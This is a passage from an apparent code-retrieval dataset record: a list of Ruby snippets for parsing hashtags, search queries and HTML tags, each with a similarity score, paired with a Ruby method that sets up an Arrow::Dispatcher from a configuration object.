"def get_tags(params)\n\n Rails.logger.info(\"[LIB] [API] [HELPERS] [PARSER] [GET_TAGS] Entering #{params.inspect}\")\n text = params[:text]\n\n arr = text.scan(/(#[\\w\\d]+[^\\s])/)\n array = []\n\n arr.each do |attr|\n array << {:name => attr[0]}\n end\n\n Rails.logger.info(\"[LIB] [API] [HELPERS] [PARSER] [GET_TAGS] Leaving #{array.inspect}\")\n array\n rescue => e\n Rails.logger.error(\"[LIB] [API] [HELPERS] [PARSER] [GET_TAGS] ERROR => **** RESCUE **** => #{e.message} for #{params[:text]}\")\n end",
"def parse_into_search_elements(key, value)\n # separate value for \"OR\" search if it has a comma\n return Array.wrap(value.split(OR_SEARCH_SEPARATOR)) if value.include?(OR_SEARCH_SEPARATOR)\n # format value for \"AND\" search if it has '^'\n return Array.wrap(value.split(AND_SEARCH_SEPARATOR)) if value.include?(AND_SEARCH_SEPARATOR)\n # make sure returned value is an array\n Array.wrap(value)\n end",
"def parse_into_search_elements(key, value)\n # separate value for \"OR\" search if it has a comma\n return Array.wrap(value.split(OR_SEARCH_SEPARATOR)) if value.include?(OR_SEARCH_SEPARATOR)\n # format value for \"AND\" search if it has '^'\n return Array.wrap(value.split(AND_SEARCH_SEPARATOR)) if value.include?(AND_SEARCH_SEPARATOR)\n # make sure returned value is an array\n Array.wrap(value)\n end",
"def parse_meta(parsed_query)\n hoge = [[], {}]\n\n parsed_query.each do |token|\n if token =~ /^(.+?):(.+)$/\n hoge[1][Regexp.last_match[1]] = Regexp.last_match[2]\n else\n hoge[0] << token\n end\n end\n\n hoge\n end",
"def parse_query(query); end",
"def parse_query(query); end",
"def find_hash_tags\n self.scan(/#[\\w-]+/).flatten.uniq\n end",
"def tags\n caption.to_s.scan(/#(\\w+)/).flatten\n end",
"def parse_search(q)\n # TODO continue\n end",
"def scan_tags\n self.content.scan(/#\\w+/).uniq\n end",
"def markup_to_parameter_array(str)\n str.downcase.slice(1,str.size-2).strip.gsub(/[\\s]+/, \" \").split(/:/).map {|s| s.strip}\n end",
"def search(str)\n return [] if str.to_s.empty?\n \n words = str.downcase.split(' ')\n pattern = Regexp.new(words.join('|'))\n matches = []\n\n pages.each do |page|\n if page.title.downcase =~ pattern\n matches << [page, []]\n \n elsif page.body.downcase =~ pattern\n matches << [page, highlight(page.html, words)]\n end\n end\n\n matches\n end",
"def get_hashtags2(post)\n post.split.grep(/^#+(\\w+)$/) { $1 }\nend",
"def parse_keyword_phrase()\n @keyword_phrase.to_s.split(\" \")\n end",
"def parse_query_string(query)\n Hash[CGI.parse(query).map {|key,values| [key, values[0]]}]\n end",
"def query_words\n @query_array ||= @query.split(' ')\n end",
"def match(*strings)\n result = []\n @tags.each do |tag|\n strings.each do |string|\n if string.downcase =~ /#{tag.downcase}/\n strings.delete string\n result << tag\n break\n end\n end\n end\n return result\n end",
"def parse(s)\n s = clean(s)\n\n words = s.split(' ')\n\n result = []\n\n while !words.empty?\n if words[0] =~ URL_REGEX\n # <url> <text>\n result << {url: read_url(words), text: trim_to_nil(read_text(words))}\n else\n # <text> <url> [<accessed note>]\n entry = read_text(words)\n url = read_url(words)\n accessed_note = read_accessed_note(words)\n if accessed_note\n entry += ' ' + accessed_note\n end\n\n result << {url: url, text: trim_to_nil(entry)}\n end\n end\n\n result\n end",
"def parsed_search(selector)\n parsed.respond_to?(:search) ? parsed.search(selector) : []\n end",
"def find_tags(url)\n\t\t\tputs \"Search and return tags within the url payload: #{url}\" if @verbose\n\t\t\ttag_list = []\n doc = open_page(url)\n doc.text.each_line do |line|\n my_line = line.downcase\n @tag_signatures.keys.map do |tag|\n tag_list.push(tag) if my_line.include?(tag)\n end\n end\n return tag_list\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}\" if @verbose\n return []\n end",
"def parse_html(data,tag)\n return data.scan(%r{<#{tag}\\s*.*?>(.*?)</#{tag}>}im).flatten\nend",
"def match_and_parse(string)\n meme = match(string)\n if meme.nil?\n return meme\n end\n bits = parse(meme, string)\n [meme, bits]\n end",
"def get_name_hash_tags\n description.to_s.scan(/#\\w+/).map{|name| name.gsub('#', '') }\n end",
"def parse_tag_with_types_and_title(tag_name, text); end",
"def hashtagify(sentence, tags)\n result_array = Array.new\n sentence.split(\" \").each do |word|\n if sentence.include?(\"!\") || sentence.include?(\".\")\n result_array.push(punctuation_in_word(word, tags))\n else\n if tags.include?(word.downcase)\n result_array.push(\"#\" + word)\n else\n result_array.push(word)\n end\n end\n end\n result_array.join(\" \")\nend",
"def get_hashtags(post)\n post.scan(/(?:\\s|^)(?:#+(?!\\d+(?:\\s|$)))(\\w+)(?=\\s|$)/).flatten\nend",
"def search(search_string)\n\n # Convert to a get-paramenter\n search_string = CGI.escapeHTML search_string\n search_string.gsub!(\" \", \" \")\n\n results = []\n \n return results\n end",
"def tags ( what=\"all\" )\n\t send( what )\n\t r = Array.new\n\t each { |l| r << l.chomp.split[0] }\n\t r\n\tend",
"def tags_from_string(input_string)\n tags = {}\n input_string.split(' ').each do |pair|\n pair = pair.gsub('-', ' ')\n category, name = pair.split(':')\n tags[category] = name\n end\n tags\n end",
"def search_values_without_quotes_and_filters\n search_string.gsub(Regexp.union(FILTER_WORD_REGEX, REGEX_WORD_IN_QUOTES), '').split(' ')\n end",
"def tags_from_params\n search_filter_params[:tagged_with].to_s.split(\",\")\n end",
"def extract_full_names(s)\n\ts = \" \".concat(s).concat(\" \")\n\t#puts \"###############################################\"\n\t#puts s\n\tlist = s.scan(/\\s'?\"?\\w+,?\\s\\w+[,']?\\.?\\s?\\w*\\s?&?\\s?\\w*\"?'?\\s/)\n\t#puts \"=>\", list\n\tlist.map! do |name| \n\t\ttmp = name.sub(/^\\s*/, \"\").sub(/\\s*$/, \"\").sub(/<.+>/, \"\").sub(/,$/, \"\").delete(\"\\\"\\'\\.\")\n\t\tif tmp.include?(\",\") and !tmp.include?(\"&\")then\n\t\t\tl = tmp.split(\",\")\n\t\t\tl[1].sub!(/^\\s*/, \"\")\n\t\t\t#assert(l.length == 2, \"fails at #{tmp} out of #{s}\")\n\t\t\tif (l.length != 2) then\n\t\t\t\ttmp = \"\"\n\t\t\telse\n\t\t\t\ttmp = l[1].concat(\" \").concat(l[0])\n\t\t\tend\n\t\tend\n\t\ttmp\n\tend\n\tlist\nend",
"def get_search_terms(string)\n\treturn \"q=\"+string.join(\"+\")\nend",
"def parse_query( query )\n keyword_and_location_re = /[ ]+(?:near|in|around|at)[ ]+/\n location_indicator_re = /,|[0-9]+/\n \n if query =~ keyword_and_location_re\n keyword, location = query.split( keyword_and_location_re, 2 )\n return { :keyword => keyword, :location => location }\n end\n \n if query =~ location_indicator_re\n return { :location => query }\n end\n \n return { :keyword => query }\n end",
"def find_values(tag)\n results =[]\n dictionary.each do |key, values|\n next if values.nil?\n matched_keys = values.select { |k,v| v.to_s =~ /@#{tag}( |$)/i }.keys.each do |k|\n results << k\n end\n end\n results\n end",
"def split_tags(line)\n md = line.scan(/\\.(\\w+)\\s*?/)\n md ? md.flatten : []\n end",
"def extract_hashtags\n description.to_s.scan(/#\\w+/).map{|name| name.gsub(\"#\", \"\")}\n end",
"def extract_data(str)\n p str.scan(/(?<=\\?|&).+?(?=\\&)/).join(', ')\nend",
"def get_hashtags(post)\n post.scan(/[\\A\\#|\\s\\#]\\w*/).join(\"\").scan(/\\w+/)\nend",
"def parse_tag_descriptions\n \tdoc = Hpricot(open('http://www.scs.leeds.ac.uk/ccalas/tagsets/brown.html'))\n tag_descriptions = []\n tag_keywords = {}\n \t(doc/\"html\"/\"table\"/\"tr\").each do |tr|\n \t idx=1\n \t tag = description = examples = nil\n \t (tr/\"td\").each do |d|\n \t text = d.inner_text.strip.tr(\"\\n\", ' ').gsub(/\\s+/, ' ')\n \t case idx\n when 1; tag = text.downcase\n when 2; description = text\n when 3; examples = text\n end\n \t idx += 1\n end\n tag_descriptions << [ tag, description, examples ] unless tag.nil? or tag == \"Tag\"\n # Use the descriptions to pull out some search keywords for the tag\n if not tag.nil? and description.nil?\n puts \"Description for \" + tag + \" is nil!!!\"\n end\n tag_keywords[tag] = description.tr(\",\",'').tr(\"+\",'').split(/ /) unless tag.nil? or tag == \"Tag\"\n \tend\n \t\n \tclauses = []\n tag_descriptions.map do |td|\n clauses << \"brown_tag_description(\" + (td.map { |e| e.to_prolog }).join(\",\") + \").\"\n end\n\n tag_descriptions.map do |td|\n clauses << \"brown_tag_description(\" + (td.map { |e| e.to_prolog }).join(\",\") + \").\"\n end\n tag_keywords.each_key do |key|\n tag_keywords[key].each do |keyword|\n clauses << \"brown_tag_keyword(\" + key.to_prolog + \",\" + keyword.to_prolog + \").\"\n end\n end\n clauses\n end",
"def kw_parse( str )\n\tkw_list = []\n\tstr.each do |pair|\n\t\tk, u, s = pair.sub( /[\\r\\n]+/, '' ).split( /[ \\t]+/, 3 )\n\t\tk = nil if k == '' or k == 'nil'\n\t\ts = nil if s != 'euc-jp' && s != 'sjis' && s != 'jis'\n\t\tkw_list << [k, u, s] if u\n\tend\n\tkw_list\nend",
"def tags\n @title.scan(/(?<= |\\A)@([^\\s(]+)/).map { |tag| tag[0] }.sort.uniq\n end",
"def keyword_query_string\n processed_terms = []\n self.search_terms.each do |search_val|\n # spaces or dashes (-) need to be quoted to be treated as single values\n term = search_val.match?(/[\\s-]/) ? \"\\\"#{search_val}\\\"\" : search_val\n processed_terms << term\n end\n processed_terms.join(' ')\n end",
"def query_to_terms(query)\n query.scan(/(\\+|or \\-?|and \\-?|\\-)?(\"[^\"]*\"?|[\\w\\-]+)/).collect do |prefix, term|\n term = \"(#{term.scan(/[\\w']+/).join('&')})\" if term[0,1] == '\"'\n term = \"!#{term}\" if prefix =~ /\\-/\n [(prefix =~ /or/) ? '|' : '&', term] \n end\n end",
"def parse_tag(contents)\n tag_name = contents.split(/\\s/)[0]\n attrs = {}\n # Extract all name value pairs.\n # Look for attributes in single, double or no quotes.\n key = /\\s+ (.+?) \\s* = \\s*/x\n val = /(['\"]) ([^\\2]+?) \\2/x\n attr_pat = /#{key} #{val}/x\n contents.scan(attr_pat) {|k, quote, v| attrs[k] = v }\n return [tag_name.to_sym, attrs]\nend",
"def split_sentence(sentence)\n @tagger.get_readable(sentence).downcase.split(' ').collect do |w| \n { \n :word => w.split('/')[0], \n :tag => w.split('/')[1][0..1] \n }\n end \nend",
"def parse(query, separator = ' ')\n result = { :add => [], :del => [] }\n hash = query.split(separator).reduce(result) do |acc, tag|\n handle_tag(tag, acc)\n end\n dels = hash[:del].empty? ? [] : ::Taggata::Persistent::Tag.find(db, :name => hash[:del])\n adds = hash[:add].empty? ? [] : find_tags(hash[:add])\n { :add => adds, :del => dels }\n end",
"def parse_and_find_games(search_tag) \n games = \"\"\n if search_tag.include?(\"[\")\n name = search_tag.split(\"[\").first\n platform = search_tag.split(\"[\")[1].gsub(/[\"\\[\\]\"]/,\"\") \n games = [Game.find_by_name_and_platform(name.strip,platform)]\n else \n #games = Game.name_or_platform_like(search_tag)\n games = Game.search({\"name_cont\" => search_tag}).result\n end \n games\n end",
"def extract_tags(data)\n data.gsub!(/(.?)\\[\\[(.+?)\\]\\]([^\\[]?)/m) do\n if $1 == \"'\" && $3 != \"'\"\n \"[[#{$2}]]#{$3}\"\n elsif $2.include?('][')\n if $2[0..4] == 'file:'\n pre = $1\n post = $3\n parts = $2.split('][')\n parts[0][0..4] = \"\"\n link = \"#{parts[1]}|#{parts[0].sub(/\\.org/,'')}\"\n id = Digest::SHA1.hexdigest(link)\n @tagmap[id] = link\n \"#{pre}#{id}#{post}\"\n else\n $&\n end\n else\n id = Digest::SHA1.hexdigest($2)\n @tagmap[id] = $2\n \"#{$1}#{id}#{$3}\"\n end\n end\n data\n end",
"def extract_tags!\n @tagmap = {}\n data.gsub!(/(.?)\\[\\[(.+?)\\]\\]([^\\[]?)/m) do\n if $1 == \"'\" && $3 != \"'\"\n \"[[#{$2}]]#{$3}\"\n elsif $2.include?('][')\n if $2[0..4] == 'file:'\n pre = $1\n post = $3\n parts = $2.split('][')\n parts[0][0..4] = \"\"\n link = \"#{parts[1]}|#{parts[0].sub(/\\.org/,'')}\"\n id = Digest::SHA1.hexdigest(link)\n @tagmap[id] = link\n \"#{pre}#{id}#{post}\"\n else\n $&\n end\n else\n id = Digest::SHA1.hexdigest($2)\n @tagmap[id] = $2\n \"#{$1}#{id}#{$3}\"\n end\n end\n nil\n end",
"def get_keywords( descriptions )\n keywords = []\n descriptions.each do |description|\n page_text = Nokogiri::HTML(description).text\n keywords.concat( page_text.split(/\\W+/) )\n end\n\n return keywords\nend",
"def fetch_tags (arg, regex=/\\A[v]\\d+[.]\\d+\\z/)\n clean_tags = []\n tag(arg).split(\"\\n\").each { |vtag|\n clean_tags.push(vtag) if vtag.match(regex) }\n # contains tags that conform to format : discuss\n return clean_tags unless clean_tags.length < 1\n raise ImqsGitError, \"no tags were found that matches the regex : #{regex.to_s}\"\n end",
"def parse_query(query)\n query = query.dup.strip\n\n first_expression = query.slice(expression_pattern)\n\n if first_expression.nil?\n if query.starts_with?('\"') && query.ends_with?('\"')\n query = query.dup.slice(1..-1)\n query = query.dup.slice(0..-2)\n end\n else\n check_query(query)\n end\n\n array = query.scan(expression_pattern)\n return [['name', ':', query]] if array.empty?\n wrong_keys = []\n result = array.map do |item|\n query_key, operator, query_value = item.flatten\n query_key.downcase!\n\n wrong_keys << query_key if query_value.to_s.empty?\n\n column = SEARCH_TOKENS_DEF.select { |k| k.include? query_key }.values.first\n wrong_keys << query_key if column.nil?\n\n [\n column,\n operator,\n query_value.tr(\"\\\"\", '')\n ]\n end\n\n raise InvalidQueryError,\n \"Wrong search definition(s) specified: #{wrong_keys.join(', ')}\" unless wrong_keys.empty?\n\n result\n end",
"def parse\n #use regex to split\n arr = @html_string.scan(TAGS_AND_TEXT).flatten\n\n #remove nil values and return\n arr.compact!\n\n #remove white spaces\n arr.map! { |s| s.strip}\n end",
"def search_search(exploits_array, query)\n search_results=[]\n exploits_array.each do |line|\n line = line.unpack('C*').pack('U*') if !line.valid_encoding?\n if query == 'nil'\n search_results << line\n else\n search_results << line if line =~ /#{query}/i\n end\n end\n return search_results\nend",
"def parse_query\n return nil if @query.nil?\n\n key, value = @query.split('=')\n return { key: key, value: value }\n end",
"def split_query(query)\n query.split('&').map do |pairs|\n p = pairs.split('=')\n [CGI.unescape(p[0]), CGI.unescape(p[1] || '')]\n end.flatten\n end",
"def parse_tag(string)\n att = {\n type: /<(\\w)/.match(string),\n classes: /class='(\\w{1, 20}).(\\w{1, 20})'/.match(string),\n id: /id='(\\w{1, 20})'/.match(string),\n name: /name='(\\w{1, 30})'/.match(string)\n }\nend",
"def tags_with_values\n @title.scan(/(?<= |\\A)@([^\\s(]+)(?:\\((.*?)\\))?/).map { |tag| [tag[0], tag[1]] }.sort.uniq\n end",
"def parse_tagmap(text)\n taglists = []\n text.split(\"\\n\").each do |line|\n taglist = emails = nil\n case line.chomp\n when %r{^\\s*#} then next\n when %r{^\\s*$} then next\n when %r{^\\s*(.+)\\s*:\\s*(.+)\\s*$}\n taglist = Regexp.last_match(1)\n emails = Regexp.last_match(2).sub(%r{#.*$}, '')\n else\n raise ArgumentError, 'Invalid tagmail config file'\n end\n\n pos = []\n neg = []\n taglist.sub(%r{\\s+$}, '').split(%r{\\s*,\\s*}).each do |tag|\n unless tag.match?(%r{^!?(?:(::)?[-\\w\\.]+)*$})\n raise ArgumentError, \"Invalid tag #{tag.inspect}\"\n end\n case tag\n when %r{^\\w+} then pos << tag\n when %r{^!\\w+} then neg << tag.sub('!', '')\n else\n raise Puppet::Error, \"Invalid tag '#{tag}'\"\n end\n end\n\n # Now split the emails\n emails = emails.sub(%r{\\s+$}, '').split(%r{\\s*,\\s*})\n taglists << [emails, pos, neg]\n end\n taglists\n end",
"def tokenize input\n\n\t# Different regex parts for smiley faces\n\teyes = \"[8:=;]\"\n\tnose = \"['`\\-]?\"\n\n\tinput = input\n\t\t.gsub(/https?:\\/\\/\\S+\\b|www\\.(\\w+\\.)+\\S*/,\"<URL>\")\n\t\t.gsub(\"/\",\" / \") # Force splitting words appended with slashes (once we tokenized the URLs, of course)\n\t\t.gsub(/@\\w+/, \"<USER>\")\n\t\t.gsub(/#{eyes}#{nose}[)d]+|[)d]+#{nose}#{eyes}/i, \"<SMILE>\")\n\t\t.gsub(/#{eyes}#{nose}p+/i, \"<LOLFACE>\")\n\t\t.gsub(/#{eyes}#{nose}\\(+|\\)+#{nose}#{eyes}/, \"<SADFACE>\")\n\t\t.gsub(/#{eyes}#{nose}[\\/|l*]/, \"<NEUTRALFACE>\")\n\t\t.gsub(/<3/,\"<HEART>\")\n\t\t.gsub(/[-+]?[.\\d]*[\\d]+[:,.\\d]*/, \"<NUMBER>\")\n\t\t.gsub(/#\\S+/){ |hashtag| # Split hashtags on uppercase letters\n\t\t\t# TODO: also split hashtags with lowercase letters (requires more work to detect splits...)\n\n\t\t\thashtag_body = hashtag[1..-1]\n\t\t\tif hashtag_body.upcase == hashtag_body\n\t\t\t\tresult = \"<HASHTAG> #{hashtag_body} <ALLCAPS>\"\n\t\t\telse\n\t\t\t\tresult = ([\"<HASHTAG>\"] + hashtag_body.split(/(?=[A-Z])/)).join(\" \")\n\t\t\tend\n\t\t\tresult\n\t\t} \n\t\t.gsub(/([!?.]){2,}/){ # Mark punctuation repetitions (eg. \"!!!\" => \"! <REPEAT>\")\n\t\t\t\"#{$~[1]} <REPEAT>\"\n\t\t}\n\t\t.gsub(/\\b(\\S*?)(.)\\2{2,}\\b/){ # Mark elongated words (eg. \"wayyyy\" => \"way <ELONG>\")\n\t\t\t# TODO: determine if the end letter should be repeated once or twice (use lexicon/dict)\n\t\t\t$~[1] + $~[2] + \" <ELONG>\"\n\t\t}\n\t\t.gsub(/([^a-z0-9()<>'`\\-]){2,}/){ |word|\n\t\t\t\"#{word.downcase} <ALLCAPS>\"\n\t\t}\n\n\treturn input\nend",
"def parse(query)\n @symbols = Tokenizer.symbols(query)\n @position = 0\n r = []\n r << read_maximal_term(0) until empty?\n r\n end",
"def search_implementation( tags, user, page, per_page )\n if tags == 'testtag'\n items = []\n 1.upto(20) {|i| items<< ('tag_'+i.to_s)}\n return items\n elsif user == 'testuser'\n items = []\n 1.upto(20) {|i| items<< ('user_'+i.to_s)}\n return items\n elsif !user && !tags\n return nil\n else\n return []\n end\t \n end",
"def search_for_hashtags(text)\n tags = []\n text.gsub(/\\#([\\w_\\-\\.]+)/) do\n tags << $1\n end\n tags\n end",
"def tag_names\n if tags_string\n tags_string.split(',').map(&:strip)\n else\n []\n end\n end",
"def search(query)\n\t\t\t\t\t\tresult = []\n\t\t\t\t\t\tif !query.blank?\n\t\t\t\t\t\t\tself.available_selectors.each do |selector_ref, selector_def|\n\t\t\t\t\t\t\t\tselector_def[:search].call(query.to_s).each do |found_params|\n\t\t\t\t\t\t\t\t\tresult << {\n\t\t\t\t\t\t\t\t\t\tvalue: encode_value(selector_ref, found_params),\n\t\t\t\t\t\t\t\t\t\ttitle: selector_def[:title].call(found_params)\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\treturn result\n\t\t\t\t\tend",
"def content_tags(name)\n array = []\n name_li(name).div(:class=>/(mylibrary_item_|searchcontent_result_)tags/).lis.each do |li|\n array << li.span(:class=>\"s3d-search-result-tag\").text\n end\n return array\n end",
"def parse_tag_with_types_and_name(tag_name, text); end",
"def tokenizer(string)\n items = []\n while string.size > 0\n if TOKENS.keys.include?(string[0,1])\n end_index = string.index(TOKENS[string[0,1]], 1)\n raise \"bad end_index for #{string}\" if not end_index\n item = string[0..end_index]\n items << item\n string = string[end_index+1..-1]\n while item.count(item[0,1]) > item.count(TOKENS[item[0,1]])\n end_index = string.index(TOKENS[item[0,1]])\n item << string[0..end_index]\n string = string[end_index+1..-1]\n end\n else\n end_index = string.index(/([\\[({<&*#\"'^\\s]|\\z)/, 1)\n item = string[0..end_index-1].strip\n items << item if not item.empty?\n string = string[end_index..-1]\n end\n end\n items\n end",
"def get_keywords\n titles.map do |title|\n title.split(\" \")\n end\n end",
"def parse_user search\n Hash[*search.split(',').map{|pair| pair.split('=').values_at(0..1)}.flatten]['uid']\n end",
"def tokenize strArray\n tokenizedArray = []\n\n strArray.each {|str|\n scanner = StringScanner.new(str)\n tokenized = []\n\n until scanner.eos?\n scanner.scan(/\\\".*\\\"/) ? tokenized << scanner.matched :\n scanner.scan(/\\s+/) ? nil :\n scanner.scan(/\\(/) ? tokenized << scanner.matched :\n scanner.scan(/\\)/) ? tokenized << scanner.matched :\n scanner.scan(/[a-z0-9A-Z\\;\\:\\\"\\'\\-\\=\\_\\+\\*\\?\\!\\>\\<\\/]+/) ? tokenized << scanner.matched :\n nil\n end\n \n tokenizedArray << tokenized\n }\n\n tokenizedArray\nend",
"def to_array(string)\n word_array=[]\n string.scan(/\\w+/)\nend",
"def parse_query\n @attributes = nil\n @scope = nil\n @filter = nil\n @extensions = nil\n\n if @query\n attrs, scope, filter, extensions = @query.split('?')\n\n @attributes = attrs if attrs && attrs.size > 0\n @scope = scope if scope && scope.size > 0\n @filter = filter if filter && filter.size > 0\n @extensions = extensions if extensions && extensions.size > 0\n end\n end",
"def scan2(regexp)\n captures = Hash.new\n scan(regexp).collect do |match|\n captures.add(:tagcapt, match[0].remove(\"@\"))\n end\n\n return (captures == {}) ? nil : captures\n end",
"def get_parse(s);end",
"def parse (input)\n\t\treturn parse_tail(input.gsub('(', ' ( ').gsub(')', ' ) ').split)\n\tend",
"def tags\n query = params[:q]\n if query[-1,1] == \" \"\n query = query.gsub(\" \", \"\")\n Tag.find_or_create_by_name(query)\n end\n\n #Do the search in memory for better performance\n\n @tags = ActsAsTaggableOn::Tag.all\n @tags = @tags.select { |v| v.name =~ /#{query}/i }\n respond_to do |format|\n format.json{ render :json => @tags.map(&:attributes) }\n end\n end",
"def split_into_start_and_end(string)\n super(string)\n string = string.split(\"-\")\n string = string[0].split(\"and\") if string.size == 1\n string = string[0].split(\"&\") if string.size == 1\n string = string[0].split(\"through\") if string.size == 1\n string = string[0].split(\"to\") if string.size == 1\n string\n end",
"def get_search\n puts \"Search Title or Author. Enter 4 or more letters.\".blue\n puts \">\".blue.bold\n @@found_title_match = []; @@found_author_match = [];\n all_title_array = []; all_author_array=[]\n\n r = gets[0..20].chomp\n if r.length < 4\n puts \"Search string must contain at least four characters\".blue\n get_search\n else\n puts \"Searching... #{r}\".red\n @@book_class.each do | book |\n regx_result = /#{r}/i =~ book.title.chomp\n if regx_result != nil\n @@found_title_match << book\n end\n end\n\n @@book_class.each do | book |\n regx_result_author = /#{r}/i =~ book.author.chomp\n if regx_result_author != nil\n @@found_author_match << book\n end\n end\n end\n # puts \"group by value\".cyan\n # ref http://ruby-doc.org/core-2.2.1/Enumerable.html#method-i-group_by\n all_title_array= @@found_title_match.group_by{|book| book.title}\n all_author_array = @@found_author_match.group_by{|book| book.author}\n\n # puts \"first\".cyan\n # ref: http://ruby-doc.org/core-2.2.0/Array.html#method-i-first\n all_title_array.merge!(all_author_array)\n all_title_array.each{|k,v|p v.first.to_s.chomp}\n # all_author_array.each{|k,v|p v.first.to_s.chomp} :keep\n end",
"def parse( string )\n data = {}\n\n pairs = string.split('&')\n pairs.each do |kv|\n key, values = kv.split('=')\n data[key.to_sym] = values.nil? ? nil : values.split('|')\n end\n\n data\n end",
"def parse(str)\n http_method, path_and_params, misc = str.split(' ')\n if path_and_params\n path, param_str = path_and_params.split(\"?\")\n if param_str\n param_pairs = param_str.split(\"&\")\n params = {}\n param_pairs.each do |param_pair|\n # params = param_pairs.each_with_object({}) do |param_pair, params|\n key, value = param_pair.split(\"=\")\n params[key] = value\n end\n end\n end\n [http_method, path, params]\nend",
"def parse_tag(html)\n puts \"-----------------------------------------------------------\"\n str = html.match(/<(.*)>/).captures[0]\n elements= str.scan(/[a-z]{2,5}='[\\w\\s]*'/)\n\n puts \"\\nstring is:: #{str}\"\n puts \"element is:: #{elements} \\n\"\n\n hash = {}\n hash[:type] =str.sub(elements.join(' '), \"\").strip\n \n elements.each do |info|\n clazz = info.match(/([a-z]*)=/).captures[0].to_sym\n clazz_val = info.match(/'(.*)'/).captures[0]\n\n hash[clazz] = clazz_val\n end\n\n print \"hash is:: #{hash} \\n\"\n puts \"-----------------------------------------------------------\"\n end",
"def parse(text); end",
"def _extract_headers(str)\n \n asa = str.split(AMP)\n @headers = {}\n esa = nil\n hv = nil\n asa.each do |hdr|\n esa = hdr.split(EQL)\n hname = SipperUtil.methodize(esa[0])\n if esa[1]\n \n if esa[1] =~ DQ\n hv = esa[1][1...-1]\n else\n hv = esa[1]\n end\n hv = CGI.unescape(hv)\n @headers[hname] = SipperUtil.find_parser_and_parse(hname, hv, true)\n end \n end \n end",
"def parse_query_string(query_string)\n ::Rack::Utils.parse_nested_query(query_string)\n end",
"def parse_tags_from_meaning_str(meaning = \"\")\n \n # Quick return if bad input\n return false if !meaning\n \n # Set up return dictionary hash\n tags_hash = {:full_match =>[],:partial_match => []}\n\n tag_regex = /\\(([^\\)]+)\\)/\n meaning.scan(tag_regex) do |tag_text|\n the_tag = tag_text[0]\n # Now see if it is in the good tags whitelist or transformations list\n if (@@good_tags.include?(the_tag) or @@tag_transformations.has_key?(the_tag))\n tags_hash[:full_match] << the_tag\n else\n # If it wasn't a direct match, see if it hits our ignore list\n matched = false\n @@ignore_tags.each do |ignore_tag_regex|\n the_tag.scan(ignore_tag_regex) do |match|\n matched = true\n end\n end #ignore matches\n \n # See if we have a partial match\n if !matched\n @@partial_tags.each do |key, partial_tag_regex|\n the_tag.scan(partial_tag_regex) do |match|\n tags_hash[:partial_match] << key\n matched = true\n end\n end\n end #partial match\n \n# if !matched\n# prt \"Unknown tag: %s\" % the_tag\n# end\n \n end\n end\n \n # Also, try surname\n surname_regex = /surname [A-Za-z]+/\n meaning.scan(surname_regex) do\n tags_hash[:full_match] << \"surname\"\n end\n \n return tags_hash\n end",
"def get_party_list(my_uri)\n r = Array.new\n uri = URI.parse(my_uri)\n str = uri.read\n # Please test this regular expression in Rubular, if you don't trust me, :-)\n # Replace it if you can come out a better regular expression\n str.scan(/<a[^\"|']+[\"|']([^\"|']+)[\"|']\\s*>([^<]+r\\.p\\.)/) {|w| r += [w] }\n return r\n end",
"def parse_title string\n return string.split(' : ')\nend",
"def build_keyword_list(s, heading)\n \n a = s.split.uniq.flat_map do |raw_word|\n\n i, pos = 0, []\n\n w = raw_word[/\\w{2,}/]\n \n next if IGNOREWORDS.include? w\n next unless w\n\n (pos << (s[i..-1] =~ /#{w}/i); i += pos[-1] + 1) while s[i..-1][/#{w}/i]\n\n pos[1..-1].inject([pos[0]]) {|r,x| r << r.last + x + 1 }\n\n pos.map do |x| \n \n start = x-15\n start = 0 if start < 0\n snippet = make_snippet(s, start)\n \n \"[%s] %s | %s %s\" % [heading, snippet, w.downcase, \n heading.scan(/\\w+/).join(' ').downcase]\n end\n\n\n end\n \n a\n \n end",
"def split_text(tx)\n ck = \"\"\n op = Array.new\n ob = Hash.new\n sp = tx.split(/\\n/)\n sp.each do |t|\n if t === \"///\"\n ob.each{|k, v| ob[k] = v.reject(&:empty?)}\n op << ob\n ob = Hash.new\n next\n end\n m = t.match(/^(?<k>[A-Z]+)/)\n if m.nil?\n ob[ck] << t.strip\n next\n end\n ck = m[:k].downcase\n ob[ck] = [t[(m[:k].length..t.length)].strip]\n end\n return op\nend"
] | [
"0.6870629",
"0.62808573",
"0.61984223",
"0.61482644",
"0.61242163",
"0.6085514",
"0.6002061",
"0.59882283",
"0.5943162",
"0.58887887",
"0.5875179",
"0.5875179",
"0.5838191",
"0.5831543",
"0.5831543",
"0.58224005",
"0.57892233",
"0.5780819",
"0.57700866",
"0.57327324",
"0.57293665",
"0.5725768",
"0.57144773",
"0.57143927",
"0.56866133",
"0.5632551",
"0.5625404",
"0.5590593",
"0.5580758",
"0.55655545",
"0.5548349",
"0.5547901",
"0.5518685",
"0.550436",
"0.54671013",
"0.54543597",
"0.5453341",
"0.5450419",
"0.5447076",
"0.5436799",
"0.5409618",
"0.5405132",
"0.53974575",
"0.539504",
"0.5391348",
"0.53891265",
"0.53779596",
"0.53685695",
"0.53592205",
"0.53584135",
"0.5357392",
"0.53573215",
"0.5349958",
"0.5346457",
"0.53387576",
"0.5331503",
"0.533067",
"0.53274435",
"0.5325208",
"0.5312681",
"0.53124577",
"0.53098446",
"0.53055847",
"0.5303991",
"0.5297423",
"0.5294617",
"0.5279457",
"0.5273293",
"0.52728564",
"0.5269742",
"0.5269076",
"0.52585024",
"0.5253587",
"0.5250411",
"0.52349484",
"0.52254206",
"0.5213563",
"0.520969",
"0.52003026",
"0.519804",
"0.51868963",
"0.51824784",
"0.51726794",
"0.5166023",
"0.5162819",
"0.5160376",
"0.5157226",
"0.5124702",
"0.51149863",
"0.5114873",
"0.51138216",
"0.51095814",
"0.5109299",
"0.5108626",
"0.5106384",
"0.5092277",
"0.50895077",
"0.5081871",
"0.50771856",
"0.50753105"
] | 0.79012907 | 0 |
I N S T A N C E M E T H O D S Set up an Arrow::Dispatcher object based on the specified +config+ (an Arrow::Config object). | def initialize( name, config )
@name = name
@config = config
@broker = Arrow::Broker.new( config )
self.configure( config )
rescue ::Exception => err
msg = "%s while creating dispatcher: %s\n%s" %
[ err.class.name, err.message, err.backtrace.join("\n\t") ]
self.log.error( msg )
msg.gsub!( /%/, '%%' )
Apache.request.server.log_crit( msg ) unless !defined?( Apache )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
